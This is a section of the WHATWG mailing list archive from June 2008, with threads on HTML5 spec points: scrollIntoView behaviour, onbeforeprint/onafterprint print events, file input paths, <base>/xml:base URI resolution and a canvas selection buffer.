> > There are a couple of problems I have found in this section.
> >
> > "If it isn't possible to show the entire element in that 
> way, or if the
> > argument is omitted or is true, then the user agent must 
> instead simply
> > align the top of the element with the top of the viewport." [1]
> >
> > I have two issues with this text:
> >
> >   1. The word "simply" is rhetoric and doesn't seem reasonable or
> > useful in the context of this part of the specification.
> 
> Removed.
> 
> 
> >   2. It may not be possible to align the top of the element 
> with the top
> > of the viewport without scrolling past the bottom of the 
> document, so
> > the "must" is unreasonable. This contingency should be mentioned
> > (scrolling past the bottom of the document is not, as far as I know,
> > desired).
> 
> I don't understand what you mean. How can something in the document be
> further down than the bottom of the document?
> 
> 
> > Secondly, with respect to this section as a whole, I see no 
> description
> > of necessary behavior for horizontal scrolling. Surely this 
> is an issue
> > that must be addressed, as it would be decidedly deficient if
> > scrollIntoView() only took vertical scrolling into account, leaving
> > horizontally overflown content still outside of the 
> viewport after the
> > method's invocation.
> 
> Do UAs do any horizontal scrolling today? I've mentioned it, 
> but I'm not sure what to say really.
> 
> --
> Ian Hickson               U+1047E                
> )\._.,--....,'``.    fL
> http://ln.hixie.ch/       U+263A                /,   _.. \   
> _\  ;`._ ,.
> Things that are impossible just take longer.   
> `._.-(,_..'--(,_..'`-.;.'
> 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 4798 bytes
Desc: not available
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080605/9f4ba5f7/attachment-0001.bin>

From ian at hixie.ch  Thu Jun  5 17:11:45 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 6 Jun 2008 00:11:45 +0000 (UTC)
Subject: [whatwg] several messages
In-Reply-To: <200509062037.j86Kbmil026603@recluse.mozilla.org>
References: <200509062037.j86Kbmil026603@recluse.mozilla.org>
Message-ID: <Pine.LNX.4.62.0806052348380.8559@hixie.dreamhostps.com>

On Sun, 17 Jul 2005, Dean Edwards wrote:
>
> Anne van Kesteren wrote:
> > Shouldn't the print method on the window DOM interface be defined as well?
> > 
> > Example: <button onclick=window.print()>print</button>
> 
> IE has some nice onbeforeprint/onafterprint events. Can we add these 
> too?

Defined both.


On Mon, 18 Jul 2005, Olav Junker Kj?r wrote:
> 
> Arent these event mostly used to transform the view before printing it? 
> I think this is better handled by a print-specific style-sheet today.

There are some things for which CSS just doesn't work, sadly.


On Tue, 19 Jul 2005, Greg Kilwein wrote:
> > DG wrote: 
> >
> > a) my invoice format requires a timestamp that says something like 
> > this: printed by [person] on [timestamp].
> > 
> > b) To capture the essence of the browsing session, I would like to 
> > build a breadcrumb at the bottom of the printed page, displaying 
> > titles and urls of pages the user have visited on the site during this 
> > visit.

This is now possible.


> I'll add another case: the onafterprint event could be used in a 
> "wizard"-style application where printing some document is step 3 of 10, 
> for example.  The application could proceed to the next step (not 
> necessarily a different document) automatically without requiring a 
> button that says "click here when done printing".  That's a case that a 
> media-specific stylesheet cannot handle.  Automating tasks and reducing 
> clicks are both high priorities in my development of web applications.

Good use case!


> If the ability to set printer settings such as portrait/landscape is 
> available, an "onbeforeprint" event could be used to prompt the user 
> whether they'd like to automatically switch their paper orientation to 
> portrait or landscape before printing.  (The same can be said for 
> margins and headers/footers.)  This can be done in the print dialog, but 
> if it is truly important to how the page prints, a separate step that 
> highlights the importance of the print setting to the user would be 
> helpful in reducing calls to my company's tech support line.

As specified, you could indeed use showModalDialog() for this.


[snip other use cases]

On Wed, 20 Jul 2005, Matthew Raymond wrote:
> 
>    Once again, I don't understand why you can't simply provide the user 
> with a button on the web page that either calls up a printable version 
> or clones the document so that the clone can be used for printing. 
> (Granted, there probably isn't support for the latter, but it makes more 
> sense to standardize that than to add onbeforeprint and onafterprint, 
> especially when you consider the fact that a clone of the document can 
> be held in memory for repeated printing or dumped.)

I don't see why we shouldn't have both; after all, people are using 
onbeforeprint today, and it doesn't seem to have caused a disaster or 
anything.


>    As far as I can tell, no part of WF2 or WA1 encourages malicious 
> behavior on the part of the webmaster against the users. In fact, part 
> of the problem I had with <dataentry> was that it could, in theory, be 
> use in a hostile way towards legacy user agents. Therefore, I doubt this 
> will ever make it into a WHATWG spec, especially when it can interfere 
> with simple things like printing selected text, et cetera.

This hasn't happened much, but certainly a user agent could disable 
scripts while it is printing.


>    Now you've completely lost me, use-case-wise. On an intranet, why is 
> a printable version of the document not an acceptable workaround?

Well it's not as nice, is it. I mean, it's not the same experience really. 
Look at printing in Google Maps, for instance, where it brings up another 
page -- it's not as seamless as just printing the current page.


>    Here's a question for you to chew on: What happens if you want to 
> print and the webmaster screwed up something in the onbeforeprint or 
> onafterprint event? Will it effectively disable printing? Will the 
> document be restored once printing is finished? What if it's an AJAX 
> application and the UI of the app is hidden for printing but never 
> restored?

This can all happen without printing too.


On Wed, 20 Jul 2005, Matthew Raymond wrote:
> 
>    I think there's good enough reason to disallow a feature when you 
> have the following:
> 
> 1) The feature can be abused.
> 
> 2) It alters the standard behavior of the browser.
> 
> 3) It can be easily disabled with a modified open source browser or 
> browser extension.

...or the browser can just allow it to be overriden. Point 3 basically 
counteracts the first two, imho.


> 4) Its use cases are partially covered by CSS.

CSS is just as susceptible to 1 and 2, why isn't that a problem?


> 5) There are existing workarounds.

Workarounds are just that. Not solutions.


> 6) An alternative has been proposed that has less potential for abuse, 
> is more powerful, and doesn't change basic browser functionality.

I don't see how it has less potential for abuse, really. I also am not 
sure it's really more powerful.


On Wed, 20 Jul 2005, Matthew Raymond wrote:
> 
> Since CSS is not required for HTML compliance, let's look at how a 
> non-CSS browser would be effected by onbeforeprint/onafterprint. Without 
> these events, the printout of the page would always match what you have 
> on screen (barring the user agent deliberately making it look 
> different).

JS is also optional, so this is equivalent.


> Therefore, while using this browser, if I see something that says the 
> following...
>
> | Matthew is a great guy.
> 
> ...and I print it, I would expect the printer to print out this:
> 
> | Matthew is a great guy.
> 
>    By contrast, I would not expect the printer to give me the following:
> 
> | Matthew is a complete luzor!!!
> 
>    That's what these events enable, and that's a fundamental alteration 
> of the expected behavior of a user agent's printing function.

CSS and JS both allow this. Both are optional.


>    So it's useless for keeping people from printing stuff without paying 
> if the people in question really want to print something.

We're not trying to address that use case.


On Wed, 20 Jul 2005, James Graham wrote:
>
> Just to muddy the waters a bit - it is quite likely that Gecko 1.9 will allow
> pages to be 'exported' to a variety of formats (in a manner analogous to
> http://gecko.dynalivery.com/ ). Clearly I have no idea what the UI for this
> functionality will be but lets pretend that it's not through the standard
> print dialog (this isn't strictly important). Should any function that
> transforms html -> non-html fire hypothetical onprint events?

As defined, no, it's just for getting a physical form or a representation 
of a physical form. What that means is someone a judgement call for the UA 
implementor, I guess.


On Wed, 20 Jul 2005, Dean Edwards wrote:
> 
> The big problem for me on this whole onbeforeprint/onafterprint argument 
> is that I only have partial control of the DOM using JavaScript.
> 
> What do I mean by this?
> 
> I can create content using the window's load event:
> 
> onload = function() {
>  // create content for screen
> }
> 
> This content, which is not suitable for print, needs to be removed when 
> the document is printed. I can even invoke the print method myself:
> 
> window.print();
> 
> I'm told I must use another language to remove the content. CSS you say. 
> Doesn't that seem wrong? Why can't I do it with script? I created the 
> content with script. Why can't I remove it the same way?

Both are now possible.


On Wed, 20 Jul 2005, Matthew Raymond wrote:
> 
>    The one I've been pushing for the last few days: allow scripting to 
> create a copy of the document, manipulate the copy, and print from the 
> copy. That way, the app will just have a button that says "Print High 
> Quality Version" or something, and a script clones the document, makes 
> the appropriate changes, and prints it. When you press the button again 
> (because you forgot you wanted two copies), the script can detect that 
> no changes have been made and simply use the last cloned document 
> object:
> 
> | if (documentchanged) {
> |   printClone = document.clone();
> |   prepareForPrinting(printClone);
> | }
> |
> | printClone.print();
> 
>    Hmm, that prints from the document object instead of the window, 
> though. Is there a better way to implement this?
> 
>    The general idea, though, is that when I print a web page, I want to 
> print a web page, not some altered version of the web page a webmaster 
> sees fit to allow me to print. Specific print version should be handled 
> by UI in the page itself. (Or perhaps with a <link> element.)

You can basically do this, just print an iframe or some such. The events 
don't preclude doing this.


On Wed, 20 Jul 2005, Dean Edwards wrote:
> 
> I quite like the idea of a DOMModified event. Does this exist? Can we 
> have it please?

Mutation events are out of scope for HTML5, but do handle this kind of 
thing. They need work, though.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From chaals at opera.com  Thu Jun  5 17:56:18 2008
From: chaals at opera.com (Charles McCathieNevile)
Date: Fri, 06 Jun 2008 02:56:18 +0200
Subject: [whatwg] access to local path in input type="file"
In-Reply-To: <008901c88ae6$3bf59300$6501a8c0@disxgdg31szkx7>
References: <200712110327.04645.rudd-o@rudd-o.com>
	<Pine.LNX.4.62.0712110919290.7107@hixie.dreamhostps.com>
	<005101c83bef$60584800$6501a8c0@disxgdg31szkx7>
	<008901c88ae6$3bf59300$6501a8c0@disxgdg31szkx7>
Message-ID: <op.ucax74e7wxe0ny@widsith.local>

On Thu, 20 Mar 2008 20:58:03 -0300, ddailey <ddailey at zoominternet.net>  
wrote:

> In the code which follows, both IE7, FF(2.0), and Safari(3.1) allow the  
> user to change the src attribute of an image based on her perusal of  
> local file space. Opera 9.5 doesn't seem to allow access to the path  
> data necessary for accomplishing this rollover effect, and I suspect  
> that may be how it is supposed to be according to emerging standards.
...

Hi David,

you might be interested in the fileIO proposal [1] from Opera in the  
WebAPI group at W3C, which is designed to allow for this kind of use case.

[1] http://dev.w3.org/2006/webapi/fileio/fileIO.htm

cheers

Chaals

-- 
Charles McCathieNevile  Opera Software, Standards Group
     je parle fran?ais -- hablo espa?ol -- jeg l?rer norsk
http://my.opera.com/chaals   Try Opera 9.5: http://snapshot.opera.com


From giecrilj at stegny.2a.pl  Fri Jun  6 00:26:28 2008
From: giecrilj at stegny.2a.pl (=?us-ascii?Q?Kristof_Zelechovski?=)
Date: Fri, 6 Jun 2008 09:26:28 +0200
Subject: [whatwg] several messages
In-Reply-To: <Pine.LNX.4.62.0806052348380.8559@hixie.dreamhostps.com>
References: <200509062037.j86Kbmil026603@recluse.mozilla.org>
	<Pine.LNX.4.62.0806052348380.8559@hixie.dreamhostps.com>
Message-ID: <51E441EB58F745CA83235802E9AC78D4@POCZTOWIEC>

The intended result of printing a document is that there is a printed copy
of a reasonable quality available.  The Web page can have no knowledge of
that fact (unless it has feedback from the surveillance network, that is).
Assuming that it is there after printing is wishful thinking.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Ian Hickson
Sent: Friday, June 06, 2008 2:12 AM
To: whatwg at whatwg.org
Subject: Re: [whatwg] several messages

On Sun, 17 Jul 2005, Dean Edwards wrote:
>
> I'll add another case: the onafterprint event could be used in a 
> "wizard"-style application where printing some document is step 3 of 10, 
> for example.  The application could proceed to the next step (not 
> necessarily a different document) automatically without requiring a 
> button that says "click here when done printing".  That's a case that a 
> media-specific stylesheet cannot handle.  Automating tasks and reducing 
> clicks are both high priorities in my development of web applications.

Good use case!





From giecrilj at stegny.2a.pl  Fri Jun  6 01:47:58 2008
From: giecrilj at stegny.2a.pl (=?us-ascii?Q?Kristof_Zelechovski?=)
Date: Fri, 6 Jun 2008 10:47:58 +0200
Subject: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
	view
In-Reply-To: <57221E38FB4DD54C946CE654959A554D05DCFB6C6E@GVW0436EXB.americas.hpqcorp.net>
References: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com><Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D05DCFB6C6E@GVW0436EXB.americas.hpqcorp.net>
Message-ID: <158A59CC57E9459EB4ADC12C53183158@POCZTOWIEC>

If the part of the document following the bookmark is too short for the
containing view port, revealing the bookmark should be equivalent to
scrolling to the end of the containing page.
HTH,
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Bonner, Matt (IPG)
Sent: Thursday, June 05, 2008 8:59 PM
To: Ian Hickson; Brad Fults
Cc: WHAT-WG
Subject: Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
view

Ian Hickson wrote:

> On Mon, 8 Oct 2007, Brad Fults wrote:
> >
> >   2. It may not be possible to align the top of the element 
> >      with the top of the viewport without scrolling past the 
> >      bottom of the document, so the "must" is unreasonable. 
> >      This contingency should be mentioned (scrolling past the
> >      bottom of the document is not, as far as I know, desired).
> 
> I don't understand what you mean. How can something in the document be
> further down than the bottom of the document?

I'm wondering if he was thinking about cases where the element is
shorter vertically than the viewport?  It might be worth clarifying
what happens in that case.  I assume the answer is "nothing"?

 



From matt.bonner at hp.com  Fri Jun  6 10:02:03 2008
From: matt.bonner at hp.com (Bonner, Matt (IPG))
Date: Fri, 6 Jun 2008 17:02:03 +0000
Subject: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
 view
In-Reply-To: <158A59CC57E9459EB4ADC12C53183158@POCZTOWIEC>
References: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com><Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
	<57221E38FB4DD54C946CE654959A554D05DCFB6C6E@GVW0436EXB.americas.hpqcorp.net>
	<158A59CC57E9459EB4ADC12C53183158@POCZTOWIEC>
Message-ID: <57221E38FB4DD54C946CE654959A554D05DCFB70E8@GVW0436EXB.americas.hpqcorp.net>

> If the part of the document following the bookmark is too short for 
> the containing view port, revealing the bookmark should be equivalent 
> to scrolling to the end of the containing page.

Right, good point. 3.5.3 currently doesn't differentiate between
partial-page content following a bookmark, and whole-page content.
It appears that it needs to do so.

I was thinking of the case where the whole document is shorter
than the viewport. It would seem worth spelling out the behavior
for both vertical cases. And then consider a bit more detail for
the horizontal case as well.

regards,
Matt
--
Matt Bonner
Hewlett-Packard Company
 

> -----Original Message-----
> From: Kristof Zelechovski [mailto:giecrilj at stegny.2a.pl] 
> Sent: Friday, June 06, 2008 1:48 AM
> To: Bonner, Matt (IPG); 'Ian Hickson'; 'Brad Fults'
> Cc: 'WHAT-WG'
> Subject: RE: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling 
> elements into view
> 
> If the part of the document following the bookmark is too 
> short for the
> containing view port, revealing the bookmark should be equivalent to
> scrolling to the end of the containing page.
> HTH,
> Chris
> 
> -----Original Message-----
> From: whatwg-bounces at lists.whatwg.org
> [mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Bonner, 
> Matt (IPG)
> Sent: Thursday, June 05, 2008 8:59 PM
> To: Ian Hickson; Brad Fults
> Cc: WHAT-WG
> Subject: Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling 
> elements into
> view
> 
> Ian Hickson wrote:
> 
> > On Mon, 8 Oct 2007, Brad Fults wrote:
> > >
> > >   2. It may not be possible to align the top of the element
> > >      with the top of the viewport without scrolling past the
> > >      bottom of the document, so the "must" is unreasonable.
> > >      This contingency should be mentioned (scrolling past the
> > >      bottom of the document is not, as far as I know, desired).
> >
> > I don't understand what you mean. How can something in the 
> document be
> > further down than the bottom of the document?
> 
> I'm wondering if he was thinking about cases where the element is
> shorter vertically than the viewport?  It might be worth clarifying
> what happens in that case.  I assume the answer is "nothing"?
> 
> 
> 
> 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 4798 bytes
Desc: not available
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080606/15ff400b/attachment-0001.bin>

From ian at hixie.ch  Fri Jun  6 12:01:43 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 6 Jun 2008 19:01:43 +0000 (UTC)
Subject: [whatwg] Issues concerning the <base> element and xml:base
In-Reply-To: <op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
References: <4637D68D.6000300@sicking.cc>
	<Pine.LNX.4.62.0705172313280.1180@dhalsim.dreamhost.com>
	<465E0C79.7030608@sicking.cc>
	<Pine.LNX.4.64.0708070248560.9753@dhalsim.dreamhost.com>
	<46C122D8.4000000@sicking.cc>
	<Pine.LNX.4.62.0802130101260.20115@hixie.dreamhostps.com>
	<47C94C35.1000409@sicking.cc>
	<AEDA4554-6737-40C2-88DD-7E932F52AE5B@apple.com>
	<20080302021821.GB22099@ridley.dbaron.org>
	<3A96FD87-E0F8-48EA-8BA3-B7A5B96ED848@apple.com>
	<20080302063125.GA11915@ridley.dbaron.org>
	<4C40D961-FED9-47A5-9833-96E685609CCA@apple.com>
	<op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>


Implementors, please see the question at the bottom.

On Sun, 24 Jul 2005, fantasai wrote:
>
> The xml:base attribute, unlike the xml:lang attribute, is not listed as 
> a common attribute. It's also not listed as an element-specific 
> attribute on any element. However, the prose says to use xml:base 
> instead of <base> in XML documents. Could you specify more clearly where 
> the xml:base attribute is allowed in xHTML 5?

Done.


On Sat, 3 Sep 2005, fantasai wrote:
>
> # The href content attribute, if specified, must contain a URI (or IRI).
> 
> Can the href attribute be empty?

This will be defined when I define "URI" more carefully (the answer is 
yes, as the empty string is a valid URI reference, as I understand it).


> # User agents must use the value of the href attribute on the first base
> # element in the document as the document entity's base URI
> 
> Current behavior is to use the nearest previous <base> element, be it 
> prior sibling or cousin, and this is interoperably implemented in 
> Mozilla and Opera. I think requiring that the first <base> apply to 
> previous as well as following elements is a good idea for <head>, but 
> you may need to investigate whether it is practical for <base> in 
> <body>.

IE7 does it. I recall doing a study on whether it was a big problem, and 
it seemed like while there were pages that relied on the multi-base 
support, there were also many pages that broke because of it. Mozilla goes 
through some weird contortions to support it. If we can get away with not 
doing it, I think it's worth it.


> # In a head element, before any elements that use relative URIs, and
> # only if there are no other base elements anywhere in the document.
> 
> It would be simpler to just require <base> to be before any elements 
> that use URIs period. It's easier to express, and there are no 
> invalidation surprises if one changes an absolute URI to a relative one 
> later on.

It seems we changed to this at some point already.


On Mon, 13 Mar 2006, Henri Sivonen wrote:
> 
> I just realized that if the base element has attributes other than href, 
> for example id or class, there is no way to serialize those attributes 
> in conforming XHTML5. I suggest banning attributes other than href on 
> base, so that conforming HTML5 documents can be serialized as conforming 
> XHTML5 documents without data loss. This would be consistent with the 
> prohibition of extra attributes on the charset meta.

I think that would be a confusing requirement. As far as I can tell the 
requirement you mention on meta charset is gone now.


On Sat, 1 Mar 2008, Jonas Sicking wrote:
> > 
> > I'm not sure what to do here. It seems like UAs should support a 
> > notification mechanism so that when a base URI is changed, all URIs in 
> > the document (for <base>) or in that subtree (for xml:base) get 
> > reresolved. That actually seems relatively simple and has little (no) 
> > overhead in the common case of nothing being changed.
> 
> Personally it's something I would be very reluctant to do. It would add 
> a whole lot of code for basically no benefit for web developers. I have 
> never heard of anyone that actually desired changing the base uri for 
> all or parts of a page dynamically.

I agree that it's a pretty dumb thing to do.


> There would definitely be overhead unfortunately. First of all in lots 
> of code added to every place that resolves URIs in order to set up 
> appropriate listeners to the notification, and managing the lifetime of 
> those listeners. Second there would be memory overhead in keeping around 
> lists of who listens to what subtrees.

There's no need to keep track of that, the listeners are just all the 
descendants. Just walk the tree notifying everyone.


> My guess is that supporting dynamic modifications would be one of those 
> features that someone would file a bug on early on during testing of a 
> UA implementation, and then nobody would care about a very long time, 
> including both web developers and UA developers. Especially given that 
> the feature would be missing from all other UAs.
> 
> But yeah, I have no real good solution either. We could either say that 
> uris MAY not be immediately updated in the face of dynamic 
> modifications. Which would probably suffer from some amout of 
> implementation differences. Or we could say MUST be immediately updated 
> and probably still suffer from implemenation differences due to lack of 
> implementation.

What we need, therefore, is a solution that everyone can agree on and can 
agree is implementable in a timely fashion, which still gives us 
interoperable behaviour. I'm not sure what that could be.



On Sat, 1 Mar 2008, Anne van Kesteren wrote:
> 
> Note that the new base URI would only take effect once you actually did 
> something with a potentially affected object. For instance, <img> would 
> not start loading a new image if the base URI changes. <img>.src = 
> <img>.getAttribute("src") could start loading a new resource however if 
> the base URI changed since the initial load.

Well, we'd have to define that either way.


On Sat, 1 Mar 2008, Jonas Sicking wrote:
> 
> Well, that was my intention with the initial proposal. But Hixie pointed 
> out that "did something" is a very hard thing to define. For example on 
> a <a href="...">, does the user hovering the node count? Does resizing 
> the window count? Does removing the node from the DOM and reinserting it 
> count?

Indeed.


On Sat, 1 Mar 2008, Maciej Stachowiak wrote:
> 
> I'd propose that resolution is always done against the base in effect at 
> the time the URI is resolved. So changing the base would never trigger a 
> reload short of another action.

Then we need to define "resolve".


> > For example on a <a href="...">, does the user hovering the node 
> > count?
> 
> If you display an absolute URI to the user at this time it should get 
> resolved against the current base, but since this is not a load, it 
> should get resolved again when the user clicks the link, if the base 
> changed.

What if the URL changes as you're hovering? Does the URL get resolved at 
50Hz, or does it get resolved when it is first displayed?

Same with :link vs :visited -- when do you redecide what the URL is for 
the purposes of styling? There's no clearly defined or definable time that 
this happens, as far as I can tell.


On Sat, 1 Mar 2008, L. David Baron wrote:
> 
> That means you'd need to define when every URI is resolved and how long 
> that result is cached.  That seems like a substantial amount of 
> specification and testing work.  It might interfere with lazy evaluation 
> as a performance optimization, although I suspect that's not an issue 
> for the main case since we already have to resolve all anchors in order 
> to do visited-link coloring.
> 
> It also breaks some invariants that are nice to maintain, like that 
> removing and reinserting content from a document should produce the same 
> result.  (I think this one may actually be important in practice since 
> authors sometimes use removal/reinsertion to work around bugs handling 
> dynamic changes.  Although we probably already break it in a bunch of 
> ways as well.)

I agree with these points.


On Sat, 1 Mar 2008, Maciej Stachowiak wrote:
> 
> How about requiring that the base used is the one in effect when a given 
> relative URI is resolved, and define that URIs for resource-loading 
> elements are resolved at the time the relevant attribute is set or 
> parsed (but for hyperlinks, at the time it is dereferenced). That is 
> easy to implement, interoperable, and reasonably predictable. It makes 
> sense that changing <base> would affect future loads but not trigger 
> reloads of already loaded or already in progress resources.

This seems like it would have more overhead than just notifying everyone 
in the subtree.


On Sat, 1 Mar 2008, Jonas Sicking wrote:
> 
> I very much agree it's an edge case and would be fine with leaving it 
> undefined.

Well, right now it's implicitly defined that changing the base changes 
anything refering to that base instantly. I'm not really sure how to 
unspecify that without adding a really weird clause like "in the event 
that the attribute is changed, user agents may, whenever convenient, 
pretend, for the sake of url resolution, that it has not changed".


I have made notes in the spec that this is an area that needs defining. 
Right now I'm leaning towards defining a "base href change notification 
behaviour" for all elements that have URI attributes or are otherwise 
sensitive to base href changes, and defining that when the base href 
changes, all the elements in the document with such behaviour defined 
should have that behaviour activated (this would, in the simple case, just 
be a walk over the document with a virtual method call per element; it 
might be a bit slow for some documents, but then this is a very rare 
occurance anyway). We would also invoke this behaviour on the entire 
subtree of an element whenever that element is inserted into a different 
document, in case it matters in any cases.

In practice I think this only actually affects :link/:visited and url() 
rules in style="" attributes. I plan on making <img>/<iframe>/<link 
rel=stylesheet> etc not reload their content if the base href changes 
(though that does mean that .src and .href will end up pointing to URIs 
that aren't actually what was loaded). I can't think of any other cases 
that are sensitive off the top of my head, but I'll be thorough if I do 
end up specifying this.

The question is, are people ok with that plan?

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From Smylers at stripey.com  Sat Jun  7 04:55:11 2008
From: Smylers at stripey.com (Smylers)
Date: Sat, 7 Jun 2008 12:55:11 +0100
Subject: [whatwg] Issues concerning the <base> element and xml:base
In-Reply-To: <Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
References: <46C122D8.4000000@sicking.cc>
	<Pine.LNX.4.62.0802130101260.20115@hixie.dreamhostps.com>
	<47C94C35.1000409@sicking.cc>
	<AEDA4554-6737-40C2-88DD-7E932F52AE5B@apple.com>
	<20080302021821.GB22099@ridley.dbaron.org>
	<3A96FD87-E0F8-48EA-8BA3-B7A5B96ED848@apple.com>
	<20080302063125.GA11915@ridley.dbaron.org>
	<4C40D961-FED9-47A5-9833-96E685609CCA@apple.com>
	<op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
	<Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
Message-ID: <20080607115511.GG9970@stripey.com>

Ian Hickson writes:

> On Sat, 1 Mar 2008, Jonas Sicking wrote:
> 
> > > It seems like UAs should support a notification mechanism so that
> > > when a base URI is changed, all URIs in the document ...  or in
> > > that subtree ... get reresolved.
> > 
> > I have never heard of anyone that actually desired changing the base
> > uri for all or parts of a page dynamically.
> 
> I agree that it's a pretty dumb thing to do.

So it sounds like supporting it isn't necessary, and putting effort into
supporting it is a distraction.

> I'm not really sure how to unspecify that without adding a really
> weird clause like "in the event that the attribute is changed, user
> agents may, whenever convenient, pretend, for the sake of url
> resolution, that it has not changed".

Why is that weird?  Even if it is, why is being weird worse than
creating an implementation burden of something which nobody will use
(except by accident)?

Smylers


From giecrilj at stegny.2a.pl  Sat Jun  7 06:18:04 2008
From: giecrilj at stegny.2a.pl (=?iso-8859-1?Q?Kristof_Zelechovski?=)
Date: Sat, 7 Jun 2008 15:18:04 +0200
Subject: [whatwg] Issues concerning the <base> element and xml:base
In-Reply-To: <Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
References: <4637D68D.6000300@sicking.cc><Pine.LNX.4.62.0705172313280.1180@dhalsim.dreamhost.com><465E0C79.7030608@sicking.cc><Pine.LNX.4.64.0708070248560.9753@dhalsim.dreamhost.com><46C122D8.4000000@sicking.cc><Pine.LNX.4.62.0802130101260.20115@hixie.dreamhostps.com><47C94C35.1000409@sicking.cc><AEDA4554-6737-40C2-88DD-7E932F52AE5B@apple.com><20080302021821.GB22099@ridley.dbaron.org><3A96FD87-E0F8-48EA-8BA3-B7A5B96ED848@apple.com><20080302063125.GA11915@ridley.dbaron.org><4C40D961-FED9-47A5-9833-96E685609CCA@apple.com><op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
	<Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
Message-ID: <356EA9AD9750495FB3BB33B90D23C6EB@POCZTOWIEC>

RFC?1808 defines how to resolve a relative URI, doesn?t it?.
The need to notify elements that have URI attributes is much better
expressed as the need to notify those attributes themselves.  However, this
would require each attribute to be an object type, ? la XML DOM.  For
completeness, attributes defined to contain an URI could expose a method
"resolve" to return the resolved URI if appropriate and handle an event
"onbasechange".
(All this probably is science fiction, do not assign much weight to these
musings).
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Ian Hickson
Sent: Friday, June 06, 2008 9:02 PM
To: whatwg at whatwg.org
Subject: [whatwg] Issues concerning the <base> element and xml:base


On Sat, 1 Mar 2008, Maciej Stachowiak wrote:
> 
> I'd propose that resolution is always done against the base in effect at 
> the time the URI is resolved. So changing the base would never trigger a 
> reload short of another action.

Then we need to define "resolve".

[snip]

I have made notes in the spec that this is an area that needs defining. 
Right now I'm leaning towards defining a "base href change notification 
behaviour" for all elements that have URI attributes or are otherwise 
sensitive to base href changes, and defining that when the base href 
changes, all the elements in the document with such behaviour defined 
should have that behaviour activated (this would, in the simple case, just 
be a walk over the document with a virtual method call per element; it 
might be a bit slow for some documents, but then this is a very rare 
occurance anyway). We would also invoke this behaviour on the entire 
subtree of an element whenever that element is inserted into a different 
document, in case it matters in any cases.





From annevk at opera.com  Sat Jun  7 07:09:57 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Sat, 07 Jun 2008 16:09:57 +0200
Subject: [whatwg] Issues concerning the <base> element and xml:base
In-Reply-To: <20080607115511.GG9970@stripey.com>
References: <46C122D8.4000000@sicking.cc>
	<Pine.LNX.4.62.0802130101260.20115@hixie.dreamhostps.com>
	<47C94C35.1000409@sicking.cc>
	<AEDA4554-6737-40C2-88DD-7E932F52AE5B@apple.com>
	<20080302021821.GB22099@ridley.dbaron.org>
	<3A96FD87-E0F8-48EA-8BA3-B7A5B96ED848@apple.com>
	<20080302063125.GA11915@ridley.dbaron.org>
	<4C40D961-FED9-47A5-9833-96E685609CCA@apple.com>
	<op.t7eshxhd64w2qv@annevk-t60.oslo.opera.com>
	<Pine.LNX.4.62.0806060028380.8559@hixie.dreamhostps.com>
	<20080607115511.GG9970@stripey.com>
Message-ID: <op.ucdtmvbs64w2qv@annevk-t60.oslo.opera.com>

On Sat, 07 Jun 2008 13:55:11 +0200, Smylers <Smylers at stripey.com> wrote:
> So it sounds like supporting it isn't necessary, and putting effort into
> supporting it is a distraction.

Well, we want to prevent that at some point an important site will start  
relying on the specifics of xml:base handling in a particular browser  
while we can still make the handling something sane we can all agree on.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From ondra at dynawest.cz  Sat Jun  7 08:36:18 2008
From: ondra at dynawest.cz (=?iso-8859-2?B?T25k+GVqIK5pvmth?=)
Date: Sat, 7 Jun 2008 17:36:18 +0200
Subject: [whatwg] '' <canvas> element "selection buffer"
Message-ID: <002901c8c8b4$3de315a0$43cee593@d020330a>

Hi,

I've been looking for something similar to OpenGL's selection buffer - that is, you can get some object ID for the given coordinates.

E.g.,  Jacob Seidelin's chess game http://blog.nihilogic.dk/search/label/chess could use it, but instead, keyboard control had to be used.

isPointInPath() does not solve the problem effectively if the path would be too complex - e.g. pixel-based sprites in several layers.

For an example of what I want to implement, see e.g.
http://www.openttd.org/screens.php?image=images/screens/0.5.0/japan_national_railway_3_aug_1984 .
Mathematical computation of the object is principially impossible (or too complex in best case).


